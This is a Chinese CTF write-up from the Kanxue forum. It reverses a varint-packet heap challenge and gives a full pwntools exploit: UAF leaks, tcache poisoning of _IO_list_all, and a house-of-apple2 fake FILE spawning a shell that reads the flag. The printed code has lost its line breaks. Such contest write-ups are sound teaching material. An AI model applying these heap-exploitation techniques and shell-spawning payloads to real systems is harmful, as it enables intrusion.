一、附件分析
本题的数据传输采取了类似protobuf的序列化/反序列化数据包传输指令
所以我们在进行堆利用前要将自定义的vm操作梳理清楚
数据包逆向
在主逻辑前,先是进行了对时间种子的设置
经典的伪随机数
随后是个循环读入
注意看这里读入的循环判断,是当前读入的字节(char)为负数
字符串与数字的转化
读入后进行了dump_num操作,按照一定格式把str转化为__int64
__int64 __fastcalldump_num(_QWORD size, __int64 ptr,unsigned__int64 n9_1,unsigned__int64 len){unsigned__int64 v4;// raxcharv6;// [rsp+27h] [rbp-19h]unsigned__int64 n9;// [rsp+28h] [rbp-18h]charv8;// [rsp+34h] [rbp-Ch]__int64 v9;// [rsp+38h] [rbp-8h]v9 =0LL;v8 =0;n9 =0LL;while( n9 < n9_1 && n9 <=9){v4 = n9++;v6 = (_BYTE )(ptr + v4);v9 |= (unsigned__int64)(v6 &0x7F) << v8;if( v6 >=0){size = v9;len = n9;return0LL;}v8 +=7;}return0xFFFFFFFFLL;}
可以看到在循环中,将字符转化为数字,并使用"|"运算和"<<"运算将数字不断拼接
只有当前读入的字符对应的ascii为负数,才会继续读入
最终读取到对应正数的字符停止循环,将字符串对应的数字和有效字符串长度记录在size和n9_1变量中
下图代表了每个字节在此vm中的意义
而且负数只会取有效数部分而忽略正负标志位(flag)所以我们想要读入一个数字也要按照它设定的规则进行数字的传递,如下
defm(n):num=b""while n:t=n&0x7fn=n>>7t|=0x80num+=p8(t)s=u8(num[-1:])num=num[:-1]num+=p8(s-0x80)return num
必须为保证想要读入的每一位对应的字符的正负标志位为1,我们可以为每位(除了最高位)都"|"上一个0x80(char类型的正负标志位),最高一字节保持正常(ascii对应为正数)
预期情况下会申请一个我们刚刚传入大小的堆块,并要求我们输入申请大小的数据
组成opcode的结构体
随后返回main函数调用dump_opcode函数
__int64 __fastcalldump_opcode(__int64 ptr,unsigned__int64 size, opchunk *opcode){unsigned__int64 n9;// [rsp+28h] [rbp-48h] BYREF__int64 num2;// [rsp+30h] [rbp-40h] BYREFunsigned__int64 n9_1;// [rsp+38h] [rbp-38h] BYREF__int64 num;// [rsp+40h] [rbp-30h] BYREFunsigned__int64 len;// [rsp+48h] [rbp-28h] BYREFunsigned__int64 num1;// [rsp+50h] [rbp-20h] BYREF__int64 n3;// [rsp+58h] [rbp-18h]unsigned__int64 n4;// [rsp+60h] [rbp-10h]unsigned__int64 now_len;// [rsp+68h] [rbp-8h]memset(opcode,0,sizeof(opchunk));now_len =0LL;while( now_len < size ){if( (unsignedint)dump_num(&num1, ptr + now_len, size - now_len, &len) )return0xFFFFFFFFLL;now_len += len;n4 = num1 >>3;// 右移3位n3 = num1 &7;// 最3低位if( (num1 &7) !=0){if( n3 !=2)return0xFFFFFFFFLL;if( (unsignedint)dump_num(&num2, ptr + now_len, size - now_len, &n9) )// 最低位为2return0xFFFFFFFFLL;now_len += n9;if( size < num2 + now_len )// num2大于剩余空间return0xFFFFFFFFLL;if( n4 ==4){opcode->content_ptr = now_len + ptr;// 剩余内容的起始指针opcode->content_lenth = num2;// 第二个num(?)opcode->content_flag =1;// 标志位}now_len += num2;}else// 低三位为0{if( (unsignedint)dump_num(&num, ptr + now_len, size - now_len, &n9_1) )return0xFFFFFFFFLL;now_len += n9_1;switch( n4 )// 右移三位{case1uLL:opcode->opcode = num;opcode->opcode_flag =1;break;case2uLL:opcode->Idx = num;opcode->Idx_flag =1;break;case3uLL:opcode->size = num;opcode->size_flag =1;break;}}}return0LL;}
首先从上个函数读入的内容中开始使用dump_num取出一个数字
根据最低三比特与第四比特的bool标志进入不同的分支
分别opcode的不同字段设置内容/设置不同内容对应的标志位
从这个函数中我们也能分析出对应的opcode结构体
struct__fixedopchunk// sizeof=0x38{__int64 opcode;__int64 Idx;__int64 size;__int64 content_ptr;__int64 content_lenth;intopcode_flag;intIdx_flag;intsize_flag;intcontent_flag;};
其中
◆opcode用于指定进行什么堆操作(add,edit,free...)
◆Idx用于设置操作堆块的编号
◆size用于设置操作堆块的大小
◆content_ptr用于设置想要add/edit的内容
◆content_len用于指定content的长度
◆每个成员都对应一个int类型的flag位,用于标记此变量是否存在
根据每次从ptr中取出的num不同,可以一次性设置多个成员变量
Idx的获取算法
随后根据数据包中idx的数值,使用get_idx转化真实的idx
__int64 __fastcallget_idx(charlong2){returnsub_132A(Rand ^ long2,5) &0xF;}__int64 __fastcallsub_132A(unsigned__int8 a1,charn5){return(a1 << (n5 &7)) | (unsignedint)((int)a1 >> (8- (n5 &7)));}
可以看到idx的获取,是数据包中的Idx成员与随机数进行xor,然后高低位反转,作为最后真正的idx
据此我们可以逆向分析得到如何输入Idx
defidx(Id):t1=Id&31t2=(Id-t1)>>5t1=t1<<3#高低位反转return(t2+t1)^cookie#cookie为随机数
堆块管理系统分析
随后进入到了堆块管理系统
根据数据包中opcode成员,进入不同的处理函数
create
可以看到,进行create操作,需要传入的结构体中存在size,content与content_lenth成员存在。
int__fastcallcreate(size_tsize,constvoidsrc,size_tn0x100000_2){size_tn0x100000_1;// raxvoiddest;// [rsp+28h] [rbp-18h]size_tn;// [rsp+30h] [rbp-10h]inti;// [rsp+38h] [rbp-8h]inti_1;// [rsp+3Ch] [rbp-4h]if( !size || size >0x100000)returnputs("bad size");i_1 =-1;for( i =0; i <=15; ++i ){if( !LODWORD(list[i].flag) ){i_1 = i;break;}}if( i_1 <0)returnputs("full");dest =malloc(size);if( !dest ){puts("oom");exit(1);}list[i_1].ptr = (__int64)dest;list[i_1].size = size;list[i_1].Id =0LL;LODWORD(list[i_1].flag) =1;n =0LL;if( src && n0x100000_2 ){n0x100000_1 = size;if( n0x100000_2 <= size )n0x100000_1 = n0x100000_2;n = n0x100000_1;memcpy(dest, src, n0x100000_1);}list[i_1].Id = n;((_BYTE )dest + n) =0;returnprintf("ok idx=%d\n", i_1);}
简单进行判断后,将size,ptr,Id与flag低位存入全局变量list中
然后将content使用memcpy复制进去,并对结尾进行置零操作
由于对size与content_lenth进行了完备的检查,此处不存在溢出
我们需要发送一下数据包进行create操作的请求
defadd(size,content):payload =m(1<<3)+m(1)payload+=m(3<<3)+m(size)payload+=m(2+(4<<3))+m(len(content))+contentprint(m(len(payload)))io.send(m(len(payload)))io.send(payload)
edit
通过log说明,需要Idx,size和content(lenth)
int__fastcalledit(unsignedintidx,size_tSize,constvoidsrc,size_tture_len){size_tn_1;// raxsize_tn;// [rsp+28h] [rbp-18h]chunk_list v7;// [rsp+38h] [rbp-8h]if( idx >=0x10|| !LODWORD(list[idx].flag) )returnputs("bad idx");if( !src )returnputs("need data");v7 = &list[idx];if( Size > v7->size )returnputs("too long");n_1 = ture_len;if( Size <= ture_len )n_1 = Size;n = n_1;memcpy((void)v7->ptr, src, n_1);v7->Id = n;(_BYTE *)(v7->ptr + n) =0;returnputs("edited");}
通过Idx在bss上寻址,找到对应堆块,将内容复制并置零
同样对长度有完备的检查,不存在溢出
以下结构进行edit请求
defedit(Id,content):payload =m(1<<3)+m(2)payload+=m(2<<3)+m(idx(Id))payload+=m(3<<3)+m(len(content))payload+=m(2+(4<<3))+m(len(content))+contentio.send(m(len(payload)))io.send(payload)
delet/show
int__fastcalldelet(unsignedintn0x10){if( n0x10 >=0x10|| !LODWORD(list[n0x10].flag) )returnputs("bad idx");free((void*)list[n0x10].ptr);LODWORD(list[n0x10].flag) =0;returnputs("freed");}
正常的delet操作,不存在uaf漏洞
deffree(Id):payload =m(1<<3)+m(3)payload+=m(2<<3)+m(idx(Id))io.send(m(len(payload)))io.send(payload)
int__fastcallshow(unsignedintn0x10){constcharptr;// raxif( n0x10 >=0x10|| !LODWORD(list[n0x10].flag) )returnputs("bad idx");if(HIDWORD(list[n0x10].flag) )returnputs("no show");if( list[n0x10].ptr )ptr = (constchar)list[n0x10].ptr;elseptr ="(null)";returnputs(ptr);}
正常show
defshow(Id):payload =m(1<<3)+m(4)payload+=m(2<<3)+m(idx(Id))io.send(m(len(payload)))io.send(payload)
uaf
int__fastcalluaf(unsignedintn0x10){chunk_list v2;// [rsp+18h] [rbp-8h]if( chance )returnputs("uaf once");if( n0x10 >=0x10|| !LODWORD(list[n0x10].flag) )returnputs("bad idx");v2 = &list[n0x10];if( !v2->ptr )returnputs("no buf");free((void)v2->ptr);HIDWORD(v2->flag) =1;chance =1;puts("uaf armed");returnoverflow();}intoverflow(){intv0;// eax_BYTE buf[77];// [rsp+Fh] [rbp-51h] BYREFintv3;// [rsp+5Ch] [rbp-4h]v3 =0;puts("your msg:");while(read(0, buf,1uLL) ==1&& buf[0] !=10){v0 = v3++;buf[v0 +1] = buf[0];}buf[v3 +1] =0;returnputs("done");}
出题人给了一次uaf机会,且在uaf后调用了一次可以无限栈溢出的函数overflow
以下结构请求uaf操作
defuaf(Id):payload =m(1<<3)+m(9)payload+=m(2<<3)+m(idx(Id))io.send(m(len(payload)))io.send(payload)
二、攻击思路
由于create和edit操作中都有置零操作,所以不存在泄露libc/heap信息的机会
想要泄露信息只能通过uaf后的show,那么我们就无法利用uaf中的overflow函数
之后无论是劫持IO结构体还是劫持栈上的返回值都是可以getshell/orw的。
信息泄露
add(0x10,b'a')#0add(0xf00,b'a')#1add(0x40,b'a')#2uaf(1)io.sendline()#跳过stackoverflowadd(0x450,b'a')#3add(0x450,b'a')#4free(1)show(3)io.recvuntil(b"freed\n")heap=u64(io.recv(6)+b'\x00\x00')-0xb90print(hex(heap))add(0x450,b'a')#1free(1)show(3)io.recvuntil(b"freed\n")base=u64(io.recv(6)+b'\x00\x00')-0x21ace0print(hex(base))
通过简单堆风水进行heap与libc的泄露
tcachebins_poison
free(4)#=======================================3add(0x20,b'a')#1add(0x20,b'a')#4add(0x300,b'a')#5free(4)free(1)key=heap>>12print(hex(key))_IO_list_all=libc.sym._IO_list_all+basesystem=libc.sym.system+baseedit(3,p64(key^_IO_list_all))print(hex(_IO_list_all))add(0x20,b'a')add(0x20,p64(heap+0x340))
污染next指针为_IO_list_all,将其劫持到堆上的可控地址中
伪造IO结构体,并触发其中的函数表
data=heap+0x340_IO_wfile_jumps=base+libc.sym._IO_wfile_jumpsfake=flat({0x00:" sh",0x28:p64(1),0x68:p64(system),0x88:p64(heap+0x900),0xa0:p64(data),0xd8:p64(_IO_wfile_jumps),0xe0:p64(data)},filler=b'\x00')edit(5,fake)ex()io.sendline(b"cat flag")io.interactive()
经典的house of apple2,调用system(" sh")getshell
三、完整EXP
from pwn import from ctypes import context.log_level='debug'lib = cdll.LoadLibrary('./libc.so.6')#io=process("./pwn")io=remote("172.36.120.113",8888)libc=ELF('./libc.so.6')lib.srand(lib.time(0))cookie=lib.rand()def bug():gdb.attach(io)def m(n):num=b""whilen:t=n&0x7fn=n>>7t+=0x80num+=p8(t)s=u8(num[-1:])num=num[:-1]num+=p8(s-0x80)returnnumdef idx(Id):t1=Id&31t2=(Id-t1)>>5t1=t1<<3return(t2+t1)^cookiedef add(size,content):payload =m(1<<3)+m(1)payload+=m(3<<3)+m(size)payload+=m(2+(4<<3))+m(len(content))+contentprint(m(len(payload)))io.send(m(len(payload)))io.send(payload)def edit(Id,content):payload =m(1<<3)+m(2)payload+=m(2<<3)+m(idx(Id))payload+=m(3<<3)+m(len(content))payload+=m(2+(4<<3))+m(len(content))+contentio.send(m(len(payload)))io.send(payload)def free(Id):payload =m(1<<3)+m(3)payload+=m(2<<3)+m(idx(Id))io.send(m(len(payload)))io.send(payload)def show(Id):payload =m(1<<3)+m(4)payload+=m(2<<3)+m(idx(Id))io.send(m(len(payload)))io.send(payload)def uaf(Id):payload =m(1<<3)+m(9)payload+=m(2<<3)+m(idx(Id))io.send(m(len(payload)))io.send(payload)def ex():payload =m(1<<3)+m(5)io.send(m(len(payload)))io.send(payload)io.recvuntil(b"heap service ready\n")add(0x10,b'a')#0add(0xf00,b'a')#1add(0x40,b'a')#2uaf(1)io.sendline()add(0x450,b'a')#3add(0x450,b'a')#4free(1)show(3)io.recvuntil(b"freed\n")heap=u64(io.recv(6)+b'\x00\x00')-0xb90print(hex(heap))add(0x450,b'a')#1free(1)show(3)io.recvuntil(b"freed\n")base=u64(io.recv(6)+b'\x00\x00')-0x21ace0print(hex(base))free(4)#=======================================3add(0x20,b'a')#1add(0x20,b'a')#4add(0x300,b'a')#5free(4)free(1)key=heap>>12print(hex(key))_IO_list_all=libc.sym._IO_list_all+basesystem=libc.sym.system+baseedit(3,p64(key^_IO_list_all))print(hex(_IO_list_all))add(0x20,b'a')add(0x20,p64(heap+0x340))data=heap+0x340_IO_wfile_jumps=base+libc.sym._IO_wfile_jumpsfake=flat({0x00:" sh",0x28:p64(1),0x68:p64(system),0x88:p64(heap+0x900),0xa0:p64(data),0xd8:p64(_IO_wfile_jumps),0xe0:p64(data)},filler=b'\x00')edit(5,fake)ex()io.sendline(b"cat flag")io.interactive()
本道题解数少,最重要的原因是结构体与算法的逆向复杂+耗费时间,且由于ctf+awdp并发进行,pwn手只能专注于一方面的攻击。
看雪ID:zer00ne
https://bbs.kanxue.com/user-home-1024538.htm
*本文为看雪论坛精华文章,由zer00ne原创,转载请注明来自看雪社区
1.25折门票即将售罄
看雪·第九届安全开发者峰会(SDC 2025)
往期推荐
无"痕"加载驱动模块之傀儡驱动 (上)
为 CobaltStrike 增加 SMTP Beacon
隐蔽通讯常见种类介绍
buuctf-re之CTF分析
物理读写/无附加读写实验
球分享
球点赞
球在看
点击阅读原文查看更多